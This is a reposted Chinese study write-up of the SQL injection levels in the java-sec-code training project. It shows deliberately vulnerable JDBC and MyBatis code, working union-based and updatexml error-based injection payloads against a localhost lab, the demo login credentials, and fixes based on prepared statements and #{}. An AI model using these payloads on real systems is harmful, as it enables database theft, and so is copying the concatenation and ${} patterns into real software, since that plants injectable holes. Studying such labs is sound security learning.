Java代码审计sql注入

java_sec_code

该项目也可以叫做Java Vulnerability Code(Java漏洞代码)。

每个漏洞类型代码默认存在安全漏洞(除非本身不存在漏洞),相关修复代码在注释里。具体可查看每个漏洞代码和注释。

由于服务器到期,在线的Demo网站已不能使用。

登录用户名密码:

admin/admin123
joychou/joychou123

写这个呢是因为我在前面学java的基础漏洞审计的时候,我自己在Typora中的笔记因为图床的问题,做的笔记截图全部都不见了,所以前面的笔记就作废了,然后在做这个项目的漏洞的时候再网上没有找到完整的做题笔记,我就想着自己也做嘛就写一个笔记下来记录自己的java学习过程

项目地址JoyChou93/java-sec-code: Java web common vulnerabilities and security code which is base on springboot and spring security (github.com)

sql

less-1

@RequestMapping("/jdbc/vuln")
    public String jdbc_sqli_vul(@RequestParam("username") String username) {

        StringBuilder result = new StringBuilder();

        try {
            Class.forName(driver);
            Connection con = DriverManager.getConnection(url, user, password);

            if (!con.isClosed())
                System.out.println("Connect to database successfully.");

            // sqli vuln code
            Statement statement = con.createStatement();
            String sql = "select * from users where username = '" + username + "'";
            logger.info(sql);
            ResultSet rs = statement.executeQuery(sql);

            while (rs.next()) {
                String res_name = rs.getString("username");
                String res_pwd = rs.getString("password");
                String info = String.format("%s: %s\n", res_name, res_pwd);
                result.append(info);
                logger.info(info);
            }
            rs.close();
            con.close();

        } catch (ClassNotFoundException e) {
            logger.error("Sorry,can`t find the Driver!");
        } catch (SQLException e) {
            logger.error(e.toString());
        }
        return result.toString();
    }

第一关是一个很基础的sql注入漏洞就是

String sql = "select * from users where username = '" + username + "'";
            logger.info(sql);
            ResultSet rs = statement.executeQuery(sql);

这一段代码,就是基础的就是一个正常数数据库拼接,然后我的数据库里面有admin这个用户直接拼接上去是这样的效果

Java代码审计sql注入

闭合语句

" + username + "====admin' union select 1,version(),user()--+
还是很简单就简单说一下,从字符串中的'admin' union select 1,2,3--+
修复方式:预编译修复
            String sql = "select * from users where username = ?";
            PreparedStatement st = con.prepareStatement(sql);
            st.setString(1, username);

less-2

@GetMapping("/mybatis/vuln01")
    public List mybatisVuln01(@RequestParam("username") String username) {
        return userMapper.findByUserNameVuln01(username);
    }

mybatis注入,这是一个存在注入语句的

这里可以直接看出来它是一个通过username这个字段去寻找参数值的,但是数据库查询肯定会存在sql语句的执行不可能不存在,这个时候我们追究其原理

直接追踪找到接口

@Select("select * from users where username = '${username}'")
    List findByUserNameVuln01(@Param("username") String username);

我们发现它是用的$符号去活得参数值,这种方式的话是注解配置方案是springboot和spring里面常见的配置方式

Mybatis获取值的方式有两种,分别是 ${}#{}。这是关于用ssm组合写的框架会存在的sql注入

动态 sql 是 mybatis 的主要特性之一,在 mapper 中定义的参数传到 xml 中之后,在查询之前 mybatis 会对其进行动态解析。mybatis 为我们提供了两种支持动态 sql 的语法:#{} 以及 ${}。

    在下面的语句中,如果 username 的值为 zhangsan,则两种方式无任何区别:

           select * from user where name = #{name};

           select * from user where name = ${name};

    其解析之后的结果均为

           select * from user where name = 'zhangsan';

但是 #{} 和 ${} 在预编译中的处理是不一样的。#{} 在预处理时,会把参数部分用一个占位符 ? 代替,变成如下的 sql 语句:

select * from user where name = ?;

而 ${} 则只是简单的字符串替换,在动态解析阶段,该 sql 语句会被解析成

    select * from user where name = 'zhangsan';

以上,#{} 的参数替换是发生在 DBMS 中,而 ${} 则发生在动态解析过程中。
#{}:解析的是占位符问号,可以防止SQL注入,使用了预编译。
${}:直接获取值

还是拼接就i行了

admin' union select 1,@@version,3 --+

Java代码审计sql注入

修复方案就是用#{},不要使用${}

less-3

是通过prepareStatement的预编译的,会对自动传入的数据加一个单引号。
如:order by #{orderBy},如果传入的时间是 ,则会被解析为 order by ‘update_time’ (这样排序是无效的,这也是为什么不能用#号传参的原因)。

@GetMapping("/mybatis/vuln02")
    public List mybatisVuln02(@RequestParam("username") String username) {
        return userMapper.findByUserNameVuln02(username);
    }

还是老规矩先追下去看

Java代码审计sql注入

发现没有方法再想一想往上看一看发现一个注解@Mapper注解这个注解的意思就是它有一个映射文件反手翻一翻

Java代码审计sql注入

然后就发现了这个select语句


        select * from users where username like '%${_parameter}%'

追到后面发现一个like,like是模糊查询的意思

简单的插播一下like注入的原理

 like查询时,如果用户输入的值有"_"和"%",则会出现这种情况:用户本来只是想查询"abcd_",查询结果中却有"abcd_"、"abcde"、"abcdf"等等;用户要查询"30%"(注:百分之三十)时也会出现问题。
 然后:_parameter是Mybatis的内置参数,代表整个参数
 我们还是直接拼接就可以了

http://localhost:8080/sqli/mybatis/vuln02?username=admin' union select 1,2,3 --+

Java代码审计sql注入

考点

  • 通过配置文件的映射直接追踪过来是没有select语句的

less-4

@GetMapping("/mybatis/orderby/vuln03")
    public List mybatisVuln03(@RequestParam("sort") String sort) {
        return userMapper.findByUserNameVuln03(sort);
    }

传入的值变了是个sort,sort是短的,还是追踪sql源码来看看


        select * from users

            order by ${order} asc

看到了是order by 然后后面有asc代表的是升序排布,desc是降序排布因为是

拼接语句选择用updataxml吧直接and拼接起来就实现了

**http://localhost:8080/sqli/mybatis/orderby/vuln03?sort=id and (updatexml(1,concat(0x7e,(select version()),0x7e),1))  #

报错语句中就会看到

Java代码审计sql注入

Original: https://www.cnblogs.com/0x3e-time/p/16802461.html
Author: 不成大哥不改名
Title: Java代码审计sql注入

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/643049/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • Oracle VM VirtualBox 导入vdi

    Oracle VM VirtualBox 导入别人制做好的研发系统,或者换电脑后,不想重做系统导入原来制作好的系统,这里就能用到导入vdi文件 1.点击新建按钮(快键键:Ctrl+…

    技术杂谈 2023年6月1日
    089
  • 《三十年来寻剑客》灵云志勤禅师

    《三十年来寻剑客》灵云志勤禅师 三十年来寻剑客,几回落叶又抽枝。自从一见桃花后,直至如今更不疑。 Original: https://www.cnblogs.com/LittleH…

    技术杂谈 2023年5月31日
    090
  • 将科学记数法的数字转换为字符串

    我们在从excel里面读取数字或是日期的时候,会碰到一种情况,在excel里面看上去是很正常的一串数字,比如20131114,但是到后台java读出来是2.0131114E7, 我…

    技术杂谈 2023年5月31日
    086
  • IDEA常用设置及插件

    设置 1.设置打开后不直接进入项目 IDEA默认打开时会直接进入上次打开的目录,有的时候加载很长时间,但这个时候可能我们并不是要打开这个项目,这里有一个设置,在如图的位置,去掉勾选…

    技术杂谈 2023年7月24日
    074
  • 和身边的人搭伴学

    互为磨刀石 互相挑毛病。前提是双方都非常信任彼此,因为搞软件大多容易沉浸在自己的问题里,又不太善于做高情商的表达。一遇到沟通问题,一句话说不好就会引发误会。 有了信任的伙伴,你就不…

    技术杂谈 2023年7月25日
    067
  • “sgen.exe”未能运行。文件名或扩展名太长

    问题 创建项目后无法运行 严重性 代码 说&am…

    技术杂谈 2023年6月1日
    094
  • 交换鼠标按键

    csharp;gutter:true;[DllImport(“user32.dll”)]public extern static bool SwapMouseButton(bool…

    技术杂谈 2023年6月1日
    089
  • HTTP和Servlet快速入门

    依赖:创建web项目,导入Servlet依赖坐标 Tomcat内置Servlet,若运行时使用该依赖则会导致冲突使用 <scope>provided</scope…

    技术杂谈 2023年7月24日
    065
  • Delphi 获取当前鼠标下的控件内容

    Delphi 获取当前鼠标下的控件内容 主要函数: GetCursorPos;//获取鼠标的位置 WindowFromPoint;//获取制定point下的handle GetCl…

    技术杂谈 2023年5月31日
    087
  • c7n 实现获取返回值后才取消button的 loading 状态

    博客园 :当前访问的博文已被密码保护 请输入阅读密码: Original: https://www.cnblogs.com/crazycode2/p/16441202.htmlAu…

    技术杂谈 2023年5月30日
    078
  • 五岔路口交通问题

    前言 五岔路口交通问题是已经给定了道路的通行情况,我们可以直接分析得到所有合法的道路通行方式,然后根据这些再得到不同方式之间的通行关系 建图过程 建点 如图 E为入口,是 单行道;…

    技术杂谈 2023年7月11日
    093
  • 被迫开始学习Typescript —— vue3的 props 与 interface

    vue3 的 props Vue3 的 props ,分为 composition API 的方式以及 option API 的方式,可以实现运行时判断类型,验证属性值是否符合要求…

    技术杂谈 2023年5月31日
    093
  • 浅说正则——会了就不会忘

    闲来无事,看了看新浪最近的面试题,其中关于正则的题目,让自己意识到了这一块的薄弱。 闲来无事,搜集了很多资料(ps:三中全会这几天,用google特慢,不得以用bd,不说了,你懂得…

    技术杂谈 2023年5月31日
    084
  • Clickhouse上用OrderBy保证绝对正确结果但代价是性能

    一些聚合函数的结果跟流入数据的顺序有关,CH文档明确说明这样的函数的结果是不确定的。这是为什么呢?让我们用 explain pipeline来一探究竟。 以一个很简单的查询为例: …

    技术杂谈 2023年7月24日
    060
  • HTML:2.基本结构

    HTML初识 HTML(Hyper Text Markup Language):超文本标记语言 所谓超文本,有2层含义: 它可以加入图片、声音、动画、多媒体等内容(超越文本限制 )…

    技术杂谈 2023年7月11日
    082
  • glPushMatrix

    glPushMatrix didn’t fail to push onto the stack; it’s job is to push a copy of…

    技术杂谈 2023年6月1日
    093
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球